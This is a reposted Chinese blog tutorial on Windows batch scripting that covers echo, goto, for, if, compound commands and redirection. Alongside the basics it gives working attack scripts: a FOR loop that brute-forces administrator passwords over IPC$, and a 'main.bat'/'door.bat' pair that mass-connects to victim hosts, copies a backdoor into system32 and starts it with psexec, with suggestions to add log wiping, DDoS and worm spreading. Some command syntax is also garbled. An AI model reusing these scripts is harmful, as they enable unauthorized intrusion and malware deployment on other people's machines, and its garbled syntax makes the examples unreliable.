windows bat脚本编写 2015-07-27 11:27 5人阅读 评论(0) 收藏

Windows .bat 脚本简单用法介绍:

一.简单批处理内部命令简介 

1.Echo 命令 

打开回显或关闭请求回显功能,或显示消息。若是没有任何参数,echo 命令将显示当前回显设置。 

语法: 

echo [{on│off}] [message] 
Sample:@echo off / echo <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=hello%20world&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">hello world</a> 

在实际应用中咱们会把这条命令和<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重定向</a>符号(也称为管<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%81%93%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">道符</a>号,通常用> >> ^)结合来实现输入一些命 

令到特定格式的文件中.这将在之后的例子中体现出来。 

2.@ 命令 

表示不显示@后面的命令,在入侵过程当中(例如使用批处理来格式化敌人的硬盘)天然不能让对方看到你使 

用的命令啦。 

Sample:@echo off 
@echo Now initializing the program,please wait a minite... 
@format X: /q/u/autoset (format 这个命令是不可使用/y这个参数的,可喜的是微软留了个autoset这 

个参数给咱们,效果和/y是同样的。) 

3.Goto 命令 

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 

语法:goto label (label是参数,指定所要转向的批处理程序中的行。) 
Sample: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms(若是这里的if、%一、%2你不明白的话,先跳过去,后面会有详细的解释。) 
@Rem check parameters if null show usage 
:noparms 
echo Usage: monitor.bat ServerIP PortNumber 
goto end 

标签的名字能够随便起,可是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令 

就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 

4.Rem 命令 

注释命令,在C语言中至关与/*--------*/,它并不会被执行,只是起一个注释的做用,便于别人阅读和你 

本身往后修改。 

Rem Message 
Sample:@Rem Here is the description. 

5.Pause 命令 

运行 Pause 命令时,将显示下面的消息: 
Press any key to continue . . . 

Sample: 
@echo off 
:begin 
copy a:*.* d:\back 
echo Please put a new disk into driver A 
pause 
goto begin 

在这个例子中,驱动器 A 中磁盘上的全部文件均复制到d:\back中。显示的注释提示您将另外一张磁盘放入 

驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,而后按任意键继续处理。 

6.Call 命令 

从一个批处理程序调用另外一个批处理程序,而且不终止父批处理程序。call 命令接受用做调用目标的标签 

。若是在脚本或<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">批处理文件</a>外使用 Call,它将不会在命令行起做用。 

语法: 
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 

参数: 
[Drive:}[Path] FileName 

指定要调用的批处理程序的位置和名称。filename 参数必须具备 .bat 或 .cmd 扩展名。 

7.start 命令 

调用外部程序,全部的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=DOS%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">DOS命令</a>和命令行程序均可以由start命令来调用。 
经常使用参数: 
MIN 开始时窗口最小化 
SEPARATE 在分开的空间内开始 16 位 Windows 程序 
HIGH 在 HIGH <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E4%BC%98%E5%85%88%E7%BA%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">优先级</a>类别开始应用程序 
REALTIME 在 REALTIME <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E4%BC%98%E5%85%88%E7%BA%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">优先级</a>类别开始应用程序 
WAIT 启动应用程序并等候它结束 
parameters 这些为传送到命令/程序的参数 

执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。若是在命令脚本 

内执行,该新行为则不会发生。 

8.choice 命令 

choice 使用此命令可让用户输入一个字符,从而运行不一样的命令。使用时应该加/c:参数,c:后应写提 

示可输入的字符,之间无空格。它的返回码为1234...... 

如: choice /c:dme defrag,mem,end 

将显示 
defrag,mem,end[D,M,E]? 

Sample: 
Sample.bat的内容以下: 

@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag (应先判断数值最高的错误码) 
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye 

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,而后<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=if%E8%AF%AD%E5%8F%A5&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">if语句</a>将做出判断,d表示执行 

标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每一个程序段最后 

都以goto end将程序跳到end标号处,而后程序将显示good bye,文件结束。 

9.If 命令 

if 表示将判断是否符合规定的条件,从而决定执行不一样的命令。 

有三种格式: 

1)、if "参数" == "字符串" 待执行的命令 
参数若是等于指定的字符串,则条件成立,<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">运行命令</a>,不然运行下一句。(注意是两个等号) 

如if "%1"=="a" format a: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms 

2)、if exist 文件名 待执行的命令 
若是有指定的文件,则条件成立,<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">运行命令</a>,不然运行下一句。 

如if exist <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=config.sys&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">config.sys</a> edit <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=config.sys&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">config.sys</a> 

3)、if errorlevel / if not errorlevel 数字 待执行的命令 
若是返回码等于指定的数字,则条件成立,<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%BF%90%E8%A1%8C%E5%91%BD%E4%BB%A4&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">运行命令</a>,不然运行下一句。 

如if errorlevel 2 goto x2 

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 

10.for 命令 

for 命令是一个比较复杂的命令,主要用于参数在指定的范围<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%86%85%E5%BE%AA%E7%8E%AF&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">内循环</a>执行命令。 
在<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">批处理文件</a>中使用 FOR 命令时,指定变量请使用 %%variable 

for {%variable│%%variable} in (set) do command [ CommandLineOptions] 
%variable 指定一个单一字母可替换的参数。 
(set) 指定一个或一组文件。可使用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%80%9A%E9%85%8D%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">通配符</a>。 
command 指定对每一个文件执行的命令。 
command-parameters 为特定命令指定参数或命令行开关。 

在<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%89%B9%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">批处理文件</a>中使用 FOR 命令时,指定变量请使用 %%variable 
而不要用 %variable。变量名称是区分大小写的,因此 %i 不一样于 %I 

若是命令扩展名被启用,下列额外的 FOR 命令格式会受到支持: 
FOR /D %variable IN (set) DO command [command-parameters] 

若是集中包含<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%80%9A%E9%85%8D%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">通配符</a>,则指定与目录名匹配,而不与文件名匹配。 

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 

检查以 [drive:]path 为根的目录树,指向每一个目录中的FOR 语句。若是在 /R 后没有指定目录,则使用 

当前目录。若是集仅为一个单点(.)字符,则枚举该目录树。 

FOR /L %variable IN (start,step,end) DO command [command-parameters] 

该集表示以<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%A2%9E%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">增量</a>形式从开始到结束的一个数字序列。 
所以,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 
序列 (5 4 3 2 1)。 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

或者,若是有 usebackq 选项: 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件以前,每份文件都已被打开、读 

取并通过处理。 
处理包括读取文件,将其分红一行行的文字,而后将每行解析成零或更多的符号。而后用已找到的符号字 

符串变量值调用 For 循环。以默认方式,/F 经过每一个文件的每一行中分开的第一个空白符号。跳过空白 

行。您可经过指定可选 "options" 参数替代默认解析操做。这个带引号的字符串包括一个或多个指定不一样 

解析选项的关键字。这些关键字为: 

eol=c - 指一个行注释字符的结尾(就一个) 
skip=n - 指在文件开始时忽略的行数。 
delims=xxx - 指<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%88%86%E9%9A%94%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">分隔符</a>集。这个替换了空格和跳格键的默认<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%88%86%E9%9A%94%E7%AC%A6&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">分隔符</a>集。 
tokens=x,y,m-n - 指每行的哪个符号被传递到每一个迭代的 for 自己。这会致使额外变量名称的 
格式为一个范围。经过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一 

个符号解析之分配并接受行的保留文本。 
usebackq - 指定新语法已在下类状况中使用: 
在做为命令执行一个后引号的字符串而且引号字符为文字字符串命令并容许在 file-set中使用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">双引号</a>扩起 

文件名称。 

sample1: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 

会分析 myfile.txt 中的每一行,忽略以<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%88%86%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">分号</a>打头的那些行,将每行中的第二个和第三个符号传递给 for 

程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 

%j 来取得第三个符号,引用 %k来取得第三个符号后的全部剩余符号。对于带有空格的文件名,您须要用 

<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">双引号</a>将文件名括起来。为了用这种方式来使用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%8C%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">双引号</a>,您还须要使用 usebackq 选项,不然,双引号会 

被理解成是用做定义某个要分析的字符串的。 

%i 专门在 for 语句中获得说明,%j 和 %k 是经过tokens= 选项专门获得说明的。您能够经过 tokens= 

一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字 

母、分大小写和全局的;同时不能有 52 个以上都在使用中。 

您还能够在相邻字符串上使用 FOR /F 分析逻辑;方法是,用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8D%95%E5%BC%95%E5%8F%B7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">单引号</a>将括号之间的 filenameset 括起来。 

这样,该字符串会被看成一个文件中的一个单一输入行。 

最后,您能够用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符 

串。该字符串会被看成命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被看成文件分析。所以 

,如下例子: 

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 

会枚举当前环境中的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">环境变量</a>名称。 

另外,FOR 变量参照的替换已被加强。您如今可使用下列选项语法: 

~I - 删除任何引号("),扩充 %I 
%~fI - 将 %I 扩充到一个彻底合格的路径名 
%~dI - 仅将 %I 扩充到一个驱动器号 
%~pI - 仅将 %I 扩充到一个路径 
%~nI - 仅将 %I 扩充到一个文件名 
%~xI - 仅将 %I 扩充到一个<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%96%87%E4%BB%B6%E6%89%A9%E5%B1%95%E5%90%8D&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">文件扩展名</a> 
%~sI - 扩充的路径只含有短名 
%~aI - 将 %I 扩充到文件的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%96%87%E4%BB%B6%E5%B1%9E%E6%80%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">文件属性</a> 
%~tI - 将 %I 扩充到文件的日期/时间 
%~zI - 将 %I 扩充到文件的大小 
%~$PATH:I - 查找列在路径<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">环境变量</a>的目录,并将 %I 扩充到找到的第一个彻底合格的名称。若是环境变 

量未被定义,或者没有找到文件,此组合键会扩充空字符串 

能够组合修饰符来获得多重结果: 

%~dpI - 仅将 %I 扩充到一个驱动器号和路径 
%~nxI - 仅将 %I 扩充到一个文件名和扩展名 
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 
%~dp$PATH:i - 查找列在路径<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">环境变量</a>的目录,并将 %I 扩充到找到的第一个驱动器号和路径。 
%~ftzaI - 将 %I 扩充到相似输出线路的 DIR 

在以上例子中,%I 和 PATH 可用其余有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取相似 

%I 的大写变量名比较易读,并且避免与不分大小写的组合键混淆。 

以上是MS的官方帮助,下面咱们举几个例子来具体说明一下For命令在入侵中的用途。 

sample2: 

利用For命令来实现对一台目标Win2k主机的暴力密码破解。 

咱们用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">net use</a> file://ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行链接,当成功时记下 

密码。 
最主要的命令是一条:for /f i% in (dict.txt) do <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">net use</a> file://ip/ipc$ "i%" /u:"administrator" 
用i%来表示admin的密码,在dict.txt中这个取i%的值用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=net%20use&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">net use</a> 命令来链接。而后将程序运行结果传递给 

find命令-- 
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完 

成">>D:\ok.txt ,这样就ko了。 

sample3: 

你有没有过手里有大量<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%82%89%E9%B8%A1&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">肉鸡</a>等着你去种后门+木马呢?,当数量特别多的时候,本来很开心的一件事都会 

变得很郁闷:)。文章开头就谈到使用批处理文件,能够简化平常或<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%A4%8D%E6%80%A7&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重复性</a>任务。那么如何实现呢?呵呵 

,看下去你就会明白了。 

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数 

%i %j %k。 
而cultivate.bat无非就是用net use命令来创建IPC$链接,并copy木马+后门到victim,而后用返回码 

(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也必定明白这victim.txt里的内容 

是什么样的了。应该根据%%i %%j %%k表示的对象来排列,通常就是 ip password username。 

代码<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%9B%8F%E5%BD%A2&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雏形</a>: 
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------- 

------ 
@echo off 
@if "%1"=="" goto usage 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k 
@goto end 
:usage 
@echo run this batch in dos modle.or just double-click it. 
:end 
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------- 

------ 

------------------- cut here then save as a batchfile(I call it door.bat) ------------------ 

----------- 
@net use file://%1/ipc$ %3 /u:"%2" 
@if errorlevel 1 goto failed 
@echo Trying to establish the IPC$ connection ............OK 
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 

>>ko.txt 
@psexec file://%1/ c:\winnt\system32\windrv32.exe 
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed 
@echo Sorry can not connected to the victim. 
----------------- cut here then save as a batchfile(I call it door.bat) -------------------- 

------------ 

这只是一个自动种植后门批处理的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%9B%8F%E5%BD%A2&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">雏形</a>,两个批处理和<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">后门程序</a>(Windrv32.exe),PSexec.exe需放在统一 

目录下.批处理内容 
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深刻一点可使之具有自动传播功 

能(蠕虫).此处很少作叙述,有兴趣的朋友可自行研究. 

二.如何在批处理文件中使用参数 

批处理中可使用参数,通常从1%到 9%这九个,当有多个参数时须要用shift来移动,这种状况并很少见 

,咱们就不考虑它了。 

sample1:fomat.bat 

@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
这个例子用<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E4%BA%8E%E8%BF%9E&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">于连</a>续地格式化几张软盘,因此用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添 

足了~ 

sample2: 

当咱们要创建一个IPC$链接地时候总要输入一大串命令,弄很差就打错了,因此咱们不如把一些固定命令 

写入一个批处理,把<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E8%82%89%E9%B8%A1&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">肉鸡</a>地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令 

了。 
@echo off 
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 
@if errorlevel 1 echo connection failed 
怎么样,使用参数仍是比较简单的吧?你这么帅必定学会了.No.3 

三.如何使用组合命令(Compound Command) 

1.& 

Usage:第一条命令 & 第二条命令 [& 第三条命令...] 

用这种方法能够同时执行多条命令,而无论命令是否执行成功 

Sample: 
C:\>dir z: & dir c:\Ex4rch 
The system cannot find the path specified. 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:51 . 
2002-05-14 23:51 .. 
2002-05-14 23:51 14 sometips.gif 

2.&& 
Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 

用这种方法能够同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,若是一直没有出错则 

一直执行完全部命令; 

Sample: 
C:\>dir z: && dir c:\Ex4rch 
The system cannot find the path specified. 

C:\>dir c:\Ex4rch && dir z: 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:55 . 
2002-05-14 23:55 .. 
2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
2 Dir(s) 768,671,744 bytes free 
The system cannot find the path specified. 

在作<a target=_blank target="_blank" href="http://zhidao.baidu.com/link?url=yrLnQpSDc58d_RI_mnh_sA5O6PSLL5wzvZJ0uFLtKiwRtAwO2UAyEAT-wMK0u4_xTFLgFoYPiGopguO1b657Aq#" class="app-keyword" style="color: rgb(51, 102, 153); text-decoration: none;">备份</a>的时候可能会用到这种命令会比较简单,如: 
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb 

E:\backup 
若是远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法 

能够替换IF exist了. 

3.││ 

Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...] 

用这种方法能够同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,若是没有出现正确的 

命令则一直执行完全部命令; 

Sample: 
C:\Ex4rch>dir sometips.gif ││ del sometips.gif 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of C:\Ex4rch 

2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
0 Dir(s) 768,696,320 bytes free 

组合命令使用的例子: 

sample: 
@copy trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 

>>victim.txt 

4、管道命令的使用 

1.│ 命令 
Usage:第一条命令 │ 第二条命令 [│ 第三条命令...] 
将第一条命令的结果做为第二条命令的参数来使用,记得在unix中这种方式很常见。 

sample: 
time /t>>D:\IP.log 
netstat -n -p tcp│find ":3389">>D:\IP.log 
start Explorer 

看出来了么?用于终端服务容许咱们为用户自定义起始的程序,来实现让用户运行下面这个bat,以得到登 

录用户的IP。 

2.>、>>输出<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重定向</a>命令 
将一条命令或某个程序输出结果的<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E9%87%8D%E5%AE%9A%E5%90%91&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">重定向</a>到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内 

容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。 

sample1: 
echo <a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=hello%20world&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">hello world</a>>c:\hello.txt (stupid example?) 

sample2: 
时下DLL木马盛行,咱们知道system32是个<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E6%8D%89%E8%BF%B7%E8%97%8F&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">捉迷藏</a>的好地方,许多木马都削尖了脑壳往那里钻,DLL马也不 

例外,针对这一点咱们能够在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件做一个记录: 
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 
这样全部的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 
往后如发现异常但用传统的方法查不出问题时,则要考虑是否是系统中已经潜入DLL木马了. 
这时咱们用一样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,而后运 

行: 
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比 

较先后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样咱们就能发现一些多出来的DLL和EXE文件, 

而后经过查看建立时间、版本、是否通过压缩等就可以比较容易地判断出是否是已经被DLL木马光顾了。没 

有是最好,若是有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到 

回收站里,若系统没有异常反映再将之完全删除或者提交给杀毒软件公司。 

3.< 、>& 、<& 
< 从文件中而不是从键盘中读入命令输入。 
>& 将一个<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">句柄</a>的输出写入到另外一个<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">句柄</a>的输入中。 
<& 从一个<a target=_blank target="_blank" class="inner-link decor-none" href="http://zhidao.baidu.com/search?word=%E5%8F%A5%E6%9F%84&fr=qb_search_exp&ie=utf8" rel="nofollow" style="color: rgb(51, 102, 153); text-decoration: none;">句柄</a>读取输入并将其写入到另外一个句柄输出中。 
<p>这些并不经常使用,也就很少作介绍。</p><p><em>原文:http://blog.csdn.net/junmuzi/article/details/12239303</em></p>